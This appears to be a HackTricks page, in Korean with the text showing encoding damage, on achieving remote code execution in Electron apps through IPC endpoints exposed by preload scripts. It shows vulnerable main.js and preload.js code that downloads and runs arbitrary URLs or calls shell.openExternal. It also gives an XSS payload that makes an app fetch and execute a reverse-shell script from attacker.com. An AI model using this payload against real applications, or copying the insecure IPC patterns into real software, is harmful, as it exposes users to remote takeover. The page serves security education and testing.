Electron contextIsolation RCE via IPC

Tip

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HackTricks ์ง€์›ํ•˜๊ธฐ

preload ์Šคํฌ๋ฆฝํŠธ๊ฐ€ main.js ํŒŒ์ผ์—์„œ IPC ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•˜๋ฉด, ๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ด๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ทจ์•ฝํ•  ๊ฒฝ์šฐ RCE๊ฐ€ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์˜ˆ์ œ๋“ค์€ ๋Œ€๋ถ€๋ถ„ ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค https://www.youtube.com/watch?v=xILfQGkLXQo. ์ถ”๊ฐ€ ์ •๋ณด๋Š” ๋น„๋””์˜ค๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Example 0

https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21์—์„œ ๊ฐ€์ ธ์˜จ ์˜ˆ์ œ (์ด ์Šฌ๋ผ์ด๋“œ์—์„œ MS Teams๊ฐ€ XSS์—์„œ RCE๋กœ ์–ด๋–ป๊ฒŒ ์•…์šฉ๋˜์—ˆ๋Š”์ง€์— ๋Œ€ํ•œ ์ „์ฒด ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋งค์šฐ ๊ธฐ๋ณธ์ ์ธ ์˜ˆ์ œ์ž…๋‹ˆ๋‹ค):

Example 1

main.js๊ฐ€ getUpdate๋ฅผ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๊ณ  ์ „๋‹ฌ๋œ ๋ชจ๋“  URL์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”.
๋˜ํ•œ preload.js๊ฐ€ main์—์„œ ๋ชจ๋“  IPC ์ด๋ฒคํŠธ๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ํ™•์ธํ•˜์„ธ์š”.

// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})

mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

์•…์šฉ:

<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

Example 2

ํ”„๋ฆฌ๋กœ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ Œ๋”๋Ÿฌ์— shell.openExternal์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ง์ ‘ ๋…ธ์ถœํ•˜๋ฉด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}

Example 3

preload ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์™€ ์™„์ „ํžˆ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ๋…ธ์ถœํ•˜๋ฉด, XSS๋Š” ๋ชจ๋“  ์ด๋ฒคํŠธ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์˜ํ–ฅ์€ ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค๊ฐ€ IPC ์ธก๋ฉด์—์„œ ๋ฌด์—‡์„ ๋…ธ์ถœํ•˜๋Š”์ง€์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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